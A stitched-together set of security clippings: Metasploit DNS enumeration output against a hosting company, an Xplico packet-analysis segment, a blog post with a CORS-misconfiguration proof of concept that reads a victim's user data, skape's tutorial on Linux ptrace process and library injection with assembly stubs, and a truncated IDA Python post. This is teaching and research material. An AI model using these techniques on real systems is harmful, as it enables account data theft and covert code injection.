     [*] Name: syslogw-mt-1.intermedia.net. IP Address: xxx.xxx.xxx.229 Record: A
     [*] Name: syslogw-nj-1.intermedia.net. IP Address: xxx.xxx.xxx.101 Record: A
     [*] Name: syslogw-vx-1.intermedia.net. IP Address: xxx.xxx.xxx.115 Record: A
     ................................................................................
     [*] Name: vmcenter.intermedia.net. IP Address: xxx.xxx.xxx.210 Record: A
     [*] Name: vmclumt-1.intermedia.net. IP Address: xxx.xxx.xxx.100 Record: A
     [*] Name: vmclumt-2.intermedia.net. IP Address: xxx.xxx.xxx.110 Record: A
     ................................................................................
     [*] Name: wiki.intermedia.net. IP Address: xxx.xxx.xxx.11 Record: A
     [*] Name: wssv003-1.intermedia.net. IP Address: xxx.xxx.xxx.72 Record: A
     [*] Name: wsus01.intermedia.net. IP Address: xxx.xxx.xxx.200 Record: A
     [*] Name: wsus02.intermedia.net. IP Address: xxx.xxx.xxx.200 Record: A
     [*] Auxiliary module execution completed
     msf auxiliary(dns_enum) >
     msf auxiliary(dns_enum) > set ENUM_RVL true
     ENUM_RVL => true
     msf auxiliary(dns_enum) > set IPRANGE xxx.xxx.xxx.0/24
     IPRANGE => xxx.xxx.xxx.0/24
     msf auxiliary(dns_enum) > set ENUM_AXFR false
     ENUM_AXFR => false
     msf auxiliary(dns_enum) > run
     msf auxiliary(dns_enum) > run
    
    
[/code]

[code]

     [*] Setting DNS Server to intermedia.net NS: xxx.xxx.xxx.2
     [*] Running Reverse Lookup against ip range xxx.xxx.xxx.0-xxx.xxx.xxx.255
     [*] Host Name: intermedia.net. IP Address: xxx.xxx.xxx.0
     [*] Host Name: intermedia.net. IP Address: xxx.xxx.xxx.4
     [*] Host Name: hosting7838-1.intermedia.net. IP Address: xxx.xxx.xxx.2
     ................................................................................
     [*] Host Name: h7838-4.wh001.domain.local. IP Address: xxx.xxx.xxx.14
     [*] Host Name: h7838-4.wh001.domain.local. IP Address: xxx.xxx.xxx.15
     ................................................................................
     [*] Host Name: hosting7838-2.intermedia.net. IP Address: xxx.xxx.xxx.128
     ................................................................................
     [*] Auxiliary module execution completed
     msf auxiliary(dns_enum) >
    
    
[/code]

As we can see from the results the zone was a very large one and many host are
very very interesting in terms of their names, also we can notice some
internal ip's bein showned.

I do invite you to run all the other checks and provide bug reports and
feedback.

# Tech Segment: Mick "BetterSafetyNet" Douglas - network packet analysis with
Xplico

\(video will be posted once Mick figures out how to keep the 12:00 from
blinking on the VCR -- this will also be posted on the www.pauldotcom.com page
too\)

Say you have large pcaps -- too big for wireshark -- or maybe you have lots of
little ones. Xplico is the tool I've been using for this sort of work for a
little while now... and I have to tell you I \*like\* what I'm seeing.

There's two modes of interacting with xplico, web and CLI. Today we're
focusing on the web...

It allows you to login and upload pcap files, or begin a live capture \(but
why would you do this?\)

The web interface works sort of like a more "white hat" and easier to use
iteration of the dsniff suite of tools. It allows reassembly and presentations
of the following protocols

  * FTP/TFTP
  * email \(POP/IMAP\)
  * HTTP
  * Videos & images

It also has some nice reporting

  * top talkers
  * GeoIP -- allows graphic representation of hosts\!

  
Xplico, check it out\! You might really dig it\!\! :-\)

# Exploiting Misconfigured CORS \(Cross Origin Resource Sharing\) | Geekboy | Security Researcher
**Created:**| _12/21/2016 9:16:13 AM_  
---|---  
**Updated:**| _12/21/2016 9:16:13 AM_  
**Author:**| __  
**Tags:**| _web-app-sec pentest_  
  

  



# Exploiting Misconfigured CORS \(Cross Origin Resource Sharing\)

December 16, 2016admin

Hey frnds <img src='img/3963_1f642.svg' width='16' height='16' alt='🙂' />

few days before noticed a blog post for exploiting facebook chat and reading
all the chats of users so that made me to interested to know about the issues,
and basically it was misconfigured **CORS** configuration where **null
origin** is allowed with credentials true, it was not something heard for the
1st time, @albinowax from the portswigger explained it very well in his blog
post, so after reading that messenger blog post i went to test for the same
issue for some targets where i allowed to test it.

but before that here are some tips about **CORS** where it can be exploitable
from attackers point of view:

  * #### Poorly implemented, Best case for Attack:

`Access-Control-Allow-Origin: https://attacker.com`

`Access-Control-Allow-Credentials: true`

  * #### Poorly implemented, Exploitable:

`Access-Control-Allow-Origin: null`

`Access-Control-Allow-Credentials: true`

  * #### Bad implementation but not exploitable:

`Access-Control-Allow-Origin: *`

`Access-Control-Allow-Credentials: true`

or just

`Access-Control-Allow-Origin: *`

even this is not good from development point of view but due to own rules of
CORS if **Access-Control-Allow-Origin** set to **\*** we don’t get benefit
**Access-Control-Allow-Credentials: true** means **no cookie access** of the
victim.

am not going to more deep about CORS, as earlier blog post covered it very
well.  
so in above i mentioned 3 cases where first two cases is exploitable in that
eg of 2nd case is that Facebook Messenger chat issue which i mentioned in
earlier section of the post, and eg of 1st case is mine which i found 2 days
before only where any arbitrary **Origin** is allowed and same **Origin** get
reflected back to **Access-Control-Allow-Origin** with **Credentials** set to
**True** , the best way i found to check for CORS issue is using **CURL**.

eg : _`curl https://test.victim.com -H "Origin: https://geekboy.ninja"` -I_
and check the response if **Origin** is reflected in the response or not.  
<img src='img/Temp2_3025' width='768' height='330' />

OR if your burp pro user, **Burp Active Scan** may find this for you, but in
mine case it didnt, idk the reason, when i CURLed my target manully  _`curl
https://my.target.com -H "Origin: https://geekboy.ninja" -I`_ , the Origin
didnt got reflected but when i curled specifc endpoint where all users data
getting back into response  _`curl https://my.target.com/api/web/user -H
"Origin: https://geekboy.ninja" -I`_ it reflected back with my host with
**Credentials** set to **True** and that’s enough to make this work and steal
all that data.

i made quick poc code for it

`function cors() {  
var xhttp = new XMLHttpRequest();  
xhttp.onreadystatechange = function() {  
if (this.readyState == 4 && this.status == 200) {  
document.getElementById("demo").innerHTML =  
alert(this.responseText);  
}  
};  
xhttp.open("GET", "https://my.target.com/api/web/user", true);  
xhttp.withCredentials = true;  
xhttp.send();  
}`

And here how it worked <img src='img/3963_1f642.svg' width='16' height='16'
alt='🙂' />

<img src='img/Temp2_3024' width='634' height='409' />

**Sources for better understanding of CORS:**

  * http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html
  * https://developer.mozilla.org/en-US/docs/Web/HTTP/Access\_control\_CORS
  * https://ejj.io/misconfigured-cors/

Views/Suggestions/Edits always welcome <img src='img/3963_1f642.svg'
width='16' height='16' alt='🙂' />

Share on FacebookShare on TwitterShare on Google+

CORSCORS ExploitationCross Origin Resource Sharing

  

# Linux x86 runtime process manipulation

**Created:**| _6/25/2009 3:32:31 PM_  
---|---  
**Updated:**| _6/25/2009 3:32:49 PM_  
**Author:**| __  
**Tags:**| _security Linux_  
  

[code]

      [------------------------------------------------------------------------]
      [-- Uninformed Research -- informative information for the uninformed. --]
      [------------------------------------------------------------------------]
      [-- Genre  : Development                                               --]
      [-- Name   : needle                                                    --]
      [-- Desc   : Linux x86 run-time process manipulation                   --]
      [-- Url    : http://www.uninformed.org/                                --]
      [-- Use    : EVILNESS                                                  --]
      [------------------------------------------------------------------------]
      [-- Author : skape (mmiller@hick.org)                                  --]
      [-- Date   : 01/19/2003                                                --]
      [------------------------------------------------------------------------]
    
      [-- Table of contents:                                                 --]
    
          1) Overview
             1.1) Topics
             1.2) Techniques
             1.3) Execution Diversion
          2) Memory Allocation
          3) Memory Management
          4) Library Injection
          5) Code Injection
             5.1) Forking
             5.2) Threading
             5.3) Function Trampolines
          6) Conclusion
          7) References
    
      [-- 1) Overview                                                        --]
    
          So, you want to be evil and modify the image of an executing 
          process?  Well, perhaps you've come to the right place.  This 
          document deals strictly with some methodologies used to to
          alter process images under Linux.  If you're curious about how
          to do something similar to the things listed in this document in 
          Windows, please read the ``References`` section.  
    
      [-- 1.1) Topics                                                        --]
    
          The following concepts will be discussed in this document as they
          relate to run-time process manipulation:
    
          * Memory Allocation
       
             The use of being able to allocate and deallocate memory in a 
             running process from another process has awesome power for
             such scenarios as execution diversion (the act of diverting
             a processes execution to your own code), data hiding (the act
             of hiding data in a process image), and even, in some cases
             allocating dynamic structures/strings for use within a process
             for its normal execution.  These aren't the only uses, but
             they're all I could think of right now :).  See the
             ``Memory Allocation`` section for details.
    
          * Memory Management
    
             The ability to copy arbitrary memory from one process to another
             at arbitrary addresses allows for flexible manipulation of
             a given processes memory image.  This can be applied to copy
             strings, functions, integers, everything.  See the ``Memory
             Management`` section for details.
    
          * Library Injection
    
             The ability to inject arbitrary shared objects into a process
             allows for getting at symbols that an executable would not 
             normally have as well as allowing an evil-doer such as yourself
             to inject arbitrary PIC that can reference symbols in
             an executable without getting in trouble.  This alone is
             extremely powerful.  See the ``Library Injection`` section for 
             details.
    
          * Code Injection
    
             Well, when you get down to it, you just want to execute code
             in a given process that you define and you want to control
             when it gets executed.  Lucky for you, this is possible AND
             just as powerful as you'd hoped.  This document will cover
             three types of code injection:
    
             1) Forking
    
                The act of causing a process to create a child image
                and execute arbitrary code.
    
             2) Threading
    
                The act of causing a process to create a thread
                that executes an arbitrary function.
    
             3) Function Trampolines
    
                The act of causing a call to a given function to 
                'trampoline' to arbitrary code and then 'jump' back to
                the original function.
    
      [-- 1.2) Techniques                                                    --]
    
          As of this document I'm aware of two plausible techniques for
          altering the image of an executing process:
    
          * ptrace
             
             Likely the most obvious technique, the ptrace (process trace) API
             allows for altering of memory, reading of memory, looking and 
             setting registers, as well as single-stepping through a process.  
             The application for these things as it pertains to this document
             should be obvious.  If not, or if you're curious, read the 
             ``References`` section for more details on ptrace.
    
          * /proc/[pid]/mem
       
             This technique is more limited in the amount of things it can
             do but is by no means something that should be cast aside.  
             With the ability to read/write a given process's image, one
             could easily modify the image to do ``Code Injection``.  Doing
             things like memory allocation, management, and library 
             injection via this method are quote a means harder but *NOT*
             impossible.  They would take a decent amount of hackery though.
             (Theoretical, not proven yet, by me at least.)
    
      [-- 1.3) Execution Diversion                                           --]
    
          In order to do most of the techniques in this document we need to
          divert the execution of a running process to code that we control.
          This presents a few problems off the bat.  Where can we safely put
          the code that we want executed?  How could we possibly change the
          course of execution?  How do we restore execution once our code
          has finished?  Well, thankfully, there are answers to these 
          questions, and they're pretty easy to answer.  Let's start with 
          the first one.
    
          * Where can we safely put the code that we want executed?
    
          Well to answer this question you need to have a slight 
          understanding of how the process is laid out and how the flow of
          execution goes.  The basic tools you need in your knowledge base
          are that executables have symbols, symbols map to vma's that are
          used to tell the vm where symbols should be located in memory.
          This is used not only for functions, but also for global variables.
          With that said, we can tell where code will be in an executable
          based off processing the ELF image associated with the process.
          Example:
    
             root@rd-linux:~# objdump --syms ./ownme | grep main
             08048450 g     F .text  00000082              main
    
          This tells us that main will be found at 0x08048450 when the 
          program is executing.  But what good does this do us?  A lot.
          Considering the main function is the 'gateway' to normal code
          execution, it's an excellent place to use as a dumping zone for
          arbitrary code.  There are some restrictions, however.  The code
          has some size restrictions.  Here's the preamble and some code
          from main in ./ownme:
    
             root@rd-linux:~# objdump --section=.text                      \
                      --start-address=0x08048450 --stop-address=0x080484d4 \
                      -d ./ownme 
    
             ./ownme:     file format elf32-i386
       
             Disassembly of section .text:
       
             08048450 <main>:
             8048450:       55                      push   %ebp
             8048451:       89 e5                   mov    %esp,%ebp
             8048453:       83 ec 08                sub    $0x8,%esp
             8048456:       90                      nop    
             8048457:       90                      nop    
             8048458:       90                      nop    
             ...
             80484d0:       c9                      leave
             80484d1:       c3                      ret
    
          Granted, main isn't always the entry point, but it's easy to find
          out what is by the e_entry attribute of the elf header.  Now, the
          reason I say main is a great place to use as a dump zone is because
          it holds code that will _never be accessed again_.  This is the key.
          There are lots of other places you could use as a dumpzone. For
          instance, if the application contains a large helper banner, you
          could put code over the help banner considering the banner wont be 
          printed ever again once the program is executing.  Use your
          imagination, you'll think of lots more.  'main' is the most
          generic method, since it's guaranteed in every application.
    
          Well, now we know where we can safely put code to be executed, but
          how do we actually execute it?
    
          * How could we possibly change the course of execution?
          
          In order to change the course of execution in a process you need
          some working knowledge of ptrace and how the vm traverses an 
          executable.  Assuming you have both, read on.  On x86 there
          is a vm register used to hold the vma of the NEXT instruction.
          Once an instruction finishes, the vm processes the instruction
          at eip (the vm register) and increments eip by the size of the
          current instruction.  There are some instructions, such as jmp
          and call which are themselves execution diversion functions
          that cause eip to be changed to the address specified in the 
          operand.  We use this same principal when it comes to changing 
          our course of execution to what we want.
    
          Now, let's say that we theoretically put some of our own code
          at 0x08048450 (the address of main above) using the functionality
          from the ``Memory Management`` section.  In order to have
          our code get executed (since it would normally never get executed)
          we use ptrace's PTRACE_SETREGS and PTRACE_GETREGS functionality.
          These two methods allow a third party process to obtain the 
          registers and set the registers of another process.  These 
          registers include eip.  In order to change the execution we 
          perform the following steps:
    
             1) call PTRACE_GETREGS to obtain the 'current' set of
                registers.
    
             2) set eip in the returned set of registers to
                0x08048450 (the address of our code).
    
             3) call PTRACE_SETREGS with our modified structure.
    
             4) continue the course of execution.
    
          We've now successfully caused our code to be executed, but there's
          a problem.  We injected a small chunk of code that we wanted
          to be run, but then we wanted the process to return to normal
          execution.  That brings us to the next question.
    
          * How do we restore execution once our code has finished?
    
          Glad you asked, because this is the most important part.  In order
          to restore execution we need a to modify our injected code just
          a bit in order to make it easy for us to restore execution.  We 
          do this by adding an instruction near the end:
    
             int $0x3
    
          This is on Linux (and Windows) to signal an exception or breakpoint
          to the active debugger.  In the case of Linux, it sends a SIGTRAP,
          which, if the process is being traced will be caught by wait().
          
          Okay, so we've modified our code and let's say it looks something 
          like this:
    
             nop
             nop
             nop
             nop
             nop
             nop
    
             mov $0x1, %eax
             int $0x3
             nop
    
          The code is setup with a 6 byte nop pad at the top to make our 
          changing of eip more cleaner (and safer) due to the way the vm
          reacts to our execution diversion.  The movement of 1 into
          eax is just an example of our arbitrary code.  The int $0x3
          alerts our attached debugger (ptrace) and the nop is for padding
          so we can see when we hit the end of our code.
    
          Okay, that's a lot of stuff.  Let's walk through our modified
          process of execution now.  This assumes you've already injected
          your code at main (0x08048450):
    
             1) call PTRACE_GETREGS to obtain the 'current' set of
                registers
    
             2) save these registers in another structure.  This is used
                for restoration.
    
             3) set eip in the returned set of registers to 
                0x08048450 (the address of our code).
    
             4) call PTRACE_SETREGS with the modified structure.
    
             5) continue execution, but watch for signals with the wait()
                  function.  If the wait function returns a signal
                that is a stop signal:
    
                a) call PTRACE_GETREGS and get the current set of registers
    
                b) if eip is equal to the size of your injected code - 1
                   (the location of the nop at the end), you know you've
                   reached the end of your code.  go to step 6 at this 
                   point.
    
                c) otherwise, continue executing.
       
             6) at this point your code has finished.  call PTRACE_SETREGS
                with the saved structure from step 2 and you're finished.
                you've successfully diverted and reverted execution.
    
          That was a mouthful, but it's very important that it's understood.
          All of the topics in this document emplore this underlying
          logic to perform their actions.  Each one has a 'stub' assembly
          function that gets injected into a process at main to be executed.
          This code is meant to be small due to the fact that there are 
          potential size issues.
    
          Oh, and another thing, you have full control over every register
          in this scenario because the registers are restored with
          PTRACE_SETREGS before the 'normal' execution continues.
    
      [-- 2) Memory allocation                                               --]       
    
          Memory allocation is one of the key features in this documented
          as all of the sub topics in Execution Diversion are dependant
          on its functionailty.  Memory allocation allows for dynamic
          memory allocation in another process (duh).  The most applicable
          scenario with regards to this document for such a thing are the
          storage of arbitrary code in memory without size limitations.
          This allows one to inject a very large function for execution
          without having fear that they will overrun into another function
          or harmful spot.
    
          Memory allocation is relatively simple, but understanding how to
          get from a to b requires a bit of explaining.  The first thing we
          need to do is figure out where malloc will be in a given process
          image so that we may call into it.  If we can figure that out
          we should be home free considering what we know from section 1.3.
    
          Realize that all these steps below can and are easily automated,
          but for sake of knowing, here they are:
    
             1) Where could malloc possibly be?  Well, let's see what
                our choices are:
    
                root@rd-linux:~# ldd ./ownme 
                   libc.so.6 => /lib/libc.so.6 (0x40016000)
                   /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
    
                root@rd-linux:~# objdump --dynamic-syms --section=.text \
                                  /lib/libc.so.6 | grep malloc             
                   0006df90  w   DF .text  00000235  GLIBC_2.0   malloc
                root@rd-linux:~# objdump --dynamic-syms --section=.text \
                                  /lib/ld-linux.so.2 | grep malloc
                   0000c8f0  w   DF .text  000000db  GLIBC_2.0   malloc
    
                Alright, so we've got malloc in both libc and ld-linux.  We
                could probably use either but what about programs that don't
                use libc?  In order to be the most flexible, we should use
                ld-linux.  This also has a positive side effect which is
                that every elf binary has an 'interpreter', and, it just
                so happens to ld-linux is that interpreter.
    
             2) Alright, so we know the vma of malloc is at 0x0000c8f0,
                but that doesn't exactly look like a valid vma.  That's 
                because it's not.  It's an offset.  The actual vma
                can be calculated by adding the base address from ldd
                for ld-linux (0x40000000) to the offset (0x0000c8f0)
                which, in turn produces the full vma 0x4000c8f0.  Now
                we know exactly where malloc is.
    
             3) Cool, so we know where malloc is, now all we need to do is
                divert execution to some code that calls it and revert back.
                We also need the return address from malloc though so we 
                know where our newly allocated buffer is at.  Fortunately,
                this is quite easy with PTRACE_GETREGS.  eax will hold the 
                return value (cdecl).  The code is pretty simple and,
                considering we control all the registers, we can use
                them to pass arguments, such as size, into our code
                at the time of diversion.  Here's some code that will,
                when diverted to with the correctly initialized registers,
                call malloc and interrupt into the debugger:
    
                   nop              # nop pads
                   nop
                   nop
                   nop
                   nop
                   nop
    
                   push %ebx        # push the size to allocate onto the stack
                   call *%eax       # call malloc
                   add  $0x4, %esp  # restore the stack
                   int  $0x3        # breakpoint
                   nop
    
                The above code expects the 'size' parameter in ebx and the 
                address of malloc in eax.
    
             4) Alrighty, so now we've executed our code and we're ready
                to restore the process to normal execution, but wait,
                we need the address malloc returned.  We simply use
                PTRACE_GETREGS and save eax and we've successfully
                allocated memory in another process, and we have the
                address to prove it.
    
          The same steps above can be used for deallocating memory, simply
          s/malloc/free/g and you're set :).
    
      [-- 3) Memory management                                               --]
    
          I'm only going to briefly cover the concept of copying memory
          from one process to another as it's sort of out of the scope
          of this document.  If you're more curious, read about memgrep
          in the ``References`` section.
    
          Copying memory from one process to another simply entails the
          use of PTRACE_POKEDATA which allows for writing 4 bytes of data
          to a given address inside a process.  Not much more is needed
          to be known from that point on :).
      
      [-- 4) Library Injection                                               --]
    
          Library injection is very powerful when it comes to using 
          functionality inside a running process that it wasn't meant to
          be doing.  One of the more obvious applications is that of loading
          a personally developed shared object into a running executable.
    
          This one was fun to figure out, so I'll just kind of walk you
          through the process I took.
    
          First thing's first, we need to figure out how to load a library
          without the binary being linked to libdl.  libdl is what provides
          functions like dlopen(), dlsym(), and dlclose().  The problem is
          that executables don't link to this library by default.  That means
          we can't do our magic technique of figuring out where dlopen will
          be in memory because, well, it isn't guaranteed to be there.
    
          There's still hope though.  dl* functions are mainly just stubs
          that make calling the underlying API easier.  Kind of like how
          libc makes calling syscalls easier.  Since these are just wrappers,
          there have to be implementers, and indeed, there are.  Check this
          out:
    
             root@rd-linux:~# objdump --dynamic-syms /lib/libc.so.6 | \
                               grep _dl_ | egrep "open|close|sym"
             000f7d10 g    DF .text  000001ad  GLIBC_2.2   _dl_vsym
             000f6f10 g    DF .text  000006b8  GLIBC_2.0   _dl_close
             000f6d80 g    DF .text  00000190  GLIBC_2.0   _dl_open
             000f7c00 g    DF .text  0000010d  GLIBC_2.2   _dl_sym
    
          Well, isn't it our lucky day?  libc.so.6 has _dl_open, _dl_sym, and 
          _dl_close.  These look amazingly similar to their dl* wrappers.
          In fact, they're almost exactly the same.  Compare the prototypes:
    
             extern void *dlopen (const char *file, int mode);
             extern void *dlsym (void *handle, const char *name) 
             extern int dlclose (void *handle);
    
          To:
    
             void *_dl_open (const char *file, int mode, const void *caller);
             void *_dl_sym (void *handle, const char *name, void *who);
             void _dl_close (void *_map);
    
          Pretty much the same right?  Looks very promising.  So here's what
          we know as of now:
    
             * We know where the _dl_* symbols will be at in the processes
               virtual memory.  (We can calculate it the same way we did 
               malloc)
             * We know the prototypes.
    
          One thing we don't know is how the functions expect their arguments.
          One would think they'd be stack based, right?  Well, not so.  They 
          seem to use a variation of fastcall (like syscalls).  Here's a
          short dump of _dl_open:
    
             000f6d80 <.text+0xdde00> (_dl_open):
               f6d80:       55                      push   %ebp
               f6d81:       89 e5                   mov    %esp,%ebp
               f6d83:       83 ec 2c                sub    $0x2c,%esp
               f6d86:       57                      push   %edi
               f6d87:       56                      push   %esi
               f6d88:       53                      push   %ebx
               f6d89:       e8 00 00 00 00          call   0xf6d8e
               f6d8e:       5b                      pop    %ebx
               f6d8f:       81 c3 ba 10 02 00       add    $0x210ba,%ebx
               f6d95:       89 c7                   mov    %eax,%edi
               f6d97:       89 d6                   mov    %edx,%esi
               f6d99:       89 4d e4                mov    %ecx,0xffffffe4(%ebp)
               f6d9c:       f7 c6 03 00 00 00       test   $0x3,%esi
               f6da2:       75 1c                   jne    0xf6dc0
               f6da4:       83 c4 f4                add    $0xfffffff4,%esp
    
          Looks pretty normal for the most part right?  Well, up until 0xf6d95
          at least.  It's quite odd that it's referencing eax, edx, and ecx 
          which have not been initialized in the context of _dl_open, and then
          using them and operating on them later in the function.  Very strange 
          to say the least.  Unless, of course, the arguments are being passed
          in registers instead of via the stack.  Let's look at the source
          code for _dl_open.
    
          void *
          internal_function
          _dl_open (const char *file, int mode, const void *caller)
          {
               struct dl_open_args args;
               const char *objname;
               const char *errstring;
               int errcode;
             
               if ((mode & RTLD_BINDING_MASK) == 0)
                    /* One of the flags must be set.  */
                    _dl_signal_error (EINVAL, file, NULL, 
                      N_("invalid mode for dlopen()"));
    
             ....
    
          }
    
          Okay, so we see roughly the first thing it does is do a bitwise and 
          on the mode passed in to make sure it's valid.  It does the and 
          with 0x00000003 (RTLD_BINDING_MASK).  Do we see any bitwise ands 
          with 0x3 in the disasm?  We sure do.  At 0xf6d9c a bitwise and is 
          performed between $0x3 and esi.  So esi must be where our mode is 
          stored, right?  Yes.  Let's see where esi is set.  Looks like it 
          gets set at 0xf6d97 from edx.  Okay, so maybe edx originally 
          contained our mode.  Where does edx get set?  No where in _dl_open. 
          That means the mode must have been passed in a register, and not on 
          the stack.  
    
          If you do some more research, you determine that the arguments 
          are passed as such:
    
             eax = library name (ex: /lib/libc.so.6)
             ecx = caller (ex: ./ownme)
             edx = mode (ex: RTLD_NOW | 0x80000000)
    
          Alright, so we know how arguments are passed AND we know the address 
          to call when we want to load a library.  From this point things 
          should be pretty obvious.
    
          All one need do is allocate space for the library name and the 
          caller in the image using the ``Memory Allocation`` technique.  
          Then copy the library and image using the ``Memory Management``
          technique.  Then, finally, execute the stub code that loads the 
          library.  That code would look something like this:
    
             nop                  # nop pads
             nop
             nop
             nop
             nop
             nop
       
             call *%edi           # call _dl_open
             int  $0x3            # breakpoint
             nop
    
          This code expects the arguments to already be initialized in the 
          proper registers from what we determine above and it expects 
          _dl_open's vma to be in edi.
    
          Welp, we've successfully injected a shared object into another 
          processes image.  What you do from here is up to the desired 
          outcome.  Calling _dl_sym and _dl_close uses the same code as above,
          but their arguments are as follows:
    
          _dl_sym expects:
    
             eax = library handle opened by _dl_open
             edx = symbol name (ex: 'pthread_create')
    
          _dl_close expects:
       
             eax = library handle opened by _dl_open
    
      [-- 5) Code Injection                                                  --]
    
          I must say we're getting rather hardcore, we can allocate memory,
          copy memory and load shared objects into arbitrary processes.  
          What more could we possibly want?  How about some arbitrary, 
          controlled code execution that isn't limited by size?  Sounds
          spiffy!
    
      [-- 5.1) Forking                                                       --]
    
          Let's say we want to fork a child process inside the context of
          another process and have it execute an arbitrary function
          that we've allocated and stored in the processes memory image
          via the ``Memory Allocation`` and ``Memory Management`` methods.
          Doing the fork is as simple as writing up some code that will
          use ``Execution Diversion`` to fork the child and return control
          to the parent as if nothing happened.  An example of forking
          and executing a supplied function is as follows:
    
             nop                  # nop pads
             nop
             nop
             nop
             nop
             nop
       
             mov  $0x2, %eax      # fork syscall
             int  $0x80           # interrupt
             cmp  $0x00, %eax     # is the pid stored in eax 0? if so, 
                                  # we're the child
             jne  fork_finished   # since eax wasn't zero, it means we're the 
                                  # parent.  jmp to finished.
             push %ebx            # since we're the child, we push the start 
                                  # addr
             call *%edi           # then we call the function
             mov  $0x1, %eax      # exit the child process
             int  $0x80           # interrupt
          fork_finished:
             int  $0x3            # we're the parent, we breakpoint.
             nop
    
          This code expects the following registers to be set:
    
             ebx = the argument to be passed to the function
             edi = the vma of the function call in the context of the child.
      
          Forking is really as simple as that.   Now, one side effect is that
          if the daemon does not expect fork children (ie, it doesn't call
          wait()) then your child process will show up as defunct when it
          exits due to not being cleaned up properly.  There are ways around    
          this, though.  You could use the ``Execution Diversion`` technique
          to perform cleanup of exitted children after for the process.
     
      [-- 5.2) Threading                                                     --]
    
          Similar to forking, but different by the fact that a thread runs
          in the context of the caller and shares memory, threading allows
          for pretty much the same things that forking does.  There are
          some risks with threading though.  For instance, it is _NOT_ safe
          to create a thread in a process that does not natural thread.  This
          is for multiple reasons -- the most important being that the 
          threading environment is setup at load time (in the case of 
          pthreads).  If Linux didn't use some ghetto application-level
          threading architecture, things wouldn't be so bad.  
    
          If you really do want to take the risk of creating a thread, 
          the process would be something like this:
    
             1) Inject libpthread.so into the process (``Library Injection``)
             2) Find pthread_create's vma in the process 
                (``Library Injection``)
             3) Allocate and copy user defined code (``Memory Allocation``)
             4) Perform ``Execution Diversion`` on the stub code to
                create the thread.  An example of such code is:
    
                nop                  # nop pads
                nop
                nop
                nop
                nop
                nop
             
                sub  $0x4, %esp      # space for the id
                mov  %esp, %ebp      # store esp in ebp for pushing
                push %ebx            # push argument
                push %eax            # push function
                push $0x0            # no attributes
                push %ebp            # push addr to store thread id in
                call *%edi           # call pthread_create
                add  $0x14, %esp     # restore stack
                int  $0x3            # breakpoint
                nop
    
          Like I said, threading is dangerous.  Know your program before
          attempting to inject a thread.  You will get odd results if
          you inject a thread into a process that doesn't naturally thread.
    
      [-- 5.3) Function Trampolines                                          --]
    
          Function trampolines are a great way to transparently hook arbitrary
          functions in memory.  I'll give a brief overview of what a function
          trampoline is and how it works.
        
          The basic jist to how function trampolines work is that they 
          overwrite the first x instructions where the size of the x 
          instructions is at least six bytes.  The six bytes come from the 
          fact that on x86 unconditional jumps take up 6 bytes in opcodes.
          The x instructions are replaced with the jmp instruction that 
          jumps to an address in memory that contains the injected function.
          This function runs before the actual function runs, and thus, has
          complete control over whether the actual function even gets called.
          At the end of the injected function the x instructions are appended
          as well as a jump back to the original function plus the size of
          the x instructions.  Here's an example:
    
          Let's say we want to hook the function 'testFunction' in the 
          executable 'ownme'.
    
             root@rd-linux:~# objdump -d ownme --start-addr=0x080484d4
    
             ownme:     file format elf32-i386
    
             Disassembly of section .init:
             Disassembly of section .plt:
             Disassembly of section .text:
    
             080484d4 <testFunction>:
               80484d4:       55                      push   %ebp
               80484d5:       89 e5                   mov    %esp,%ebp
               80484d7:       83 ec 18                sub    $0x18,%esp
              ...
               8048500:       c9                      leave  
               8048501:       c3                      ret    
    
          Well, it looks like the first 3 instructions match our criteria 
          of at least 6 bytes.  Let's keep those 6 bytes of opcodes
          tucked away for now.
    
          We need to be smart here.  We're going to do a jmp that
          says jmp to address stored in address x.  We're also
          going to want to restore back to the original place.  That means
          when we allocate our memory we should allocate it in a format like
          this:
    
             [ 4 bytes storing the address of our code                 ]
             [ 4 bytes storing the address to jmp back to              ]
             [ X bytes of arbitrary code                               ]
             [ X bytes containing the X instructions that we overwrote ]
             [ 6 bytes for the jump back                               ]
    
          So let's say we want to inject this code and we allocated
          a buffer in the process of the approriate length which starts
          at 0x41414140:
    
             nop
             movb $0x1, %al
    
          Our actual buffer in memory would look something like this
    
             0x41414140 = 0x41414148 (address of our code)
             0x41414144 = 0x080484d8 (address to jmp back to)
             0x41414148 = 3 bytes (nop, movb)
               0x4141414B = 6 bytes of preamble from testFunction
               0x41414152 = jmp *0x41414144
          
          The last step now that we have our code injected is to overwrite
          the actual preamble (the 6 bytes of testFunction) with the jmp
          to our code.  The assembly would look something like this:
    
             jmp *0x41414140  # Jump to the address stored in 0x41414140
    
          Once that's overwritten, we're home free.  The flow of 
          execution goes like this:
    
             1) Call to testFunction
             2) First instruction of testFunction is:
                jmp *0x41414140
             3) vm jumps to 0x41414148 an executes:
                nop
                movb $0x1, %al
                push %ebp
                mov  %esp, %ebp
                sub  $0x18, %esp
                jmp  *0x41414144
             4) vm jumps to 0x080484d8
             5) Function executes like normal.
    
          That's all there is to it.  There are a couple of restrictions
          when using trampolines:
    
             1) NEVER modify the stack without restoring it before
                the original functions preamble gets called.  Bad
                things will happen.
             2) Becareful what registers you modify.  Some functions
                may use fastcall.
    
          For more information on function trampolines, see the ``References``
          section.
      
      [-- 6) Conclusion                                                      --]
    
          That about wraps it up.  You now have the tools to allocate,
          copy, inject libraries, create forks, create threads, and
          install function trampolines.  You also have the underlying 
          concept of ``Execution Diversion`` which can be applied across
          the board to even more things I haven't even thought of yet.
    
      [-- 7) References                                                      --]
    
          * For information about ``Function Trampolines``:
       
             http://research.microsoft.com/sn/detours
    
    
    
[/code]

# OpenRCE

**Created:**| _10/16/2009 3:30:50 PM_  
---|---  
**Updated:**| _10/16/2009 3:31:00 PM_  
**Author:**| __  
**Tags:**| _iDA reversing plugin_  
  
**Interactive IPython Shell for IDA Python****Author: **sagar <img
src='img/Temp2_5913.gif' />| **\# Views: **517  
---|---  
\(post updated\)

  

We all use IDA Python and it kicks ass\!

  

But sometimes opening scripts all the time by hitting ALT+9 is annoying.

So why don't we have an interactive console with all IDA Python features?

  

I've created an IDA Python script that creates an interactive console based on
IPython.

This console lets you run any IDA Python function but interactively.

Since it's based on IPython you can also take advantage of its cool features,
like tab autocompletion, magic commands, command history, aliases, etc
\(http://ipython.scipy.org/doc/manual/html/interactive/tutorial.html\).

  

Some screenshots:

<img src='img/Temp2_5912.gif' />

  

<img src='img/Temp2_5915.gif' />

  

<img src='img/Temp2_5914.gif' />

  

You can get the script at:

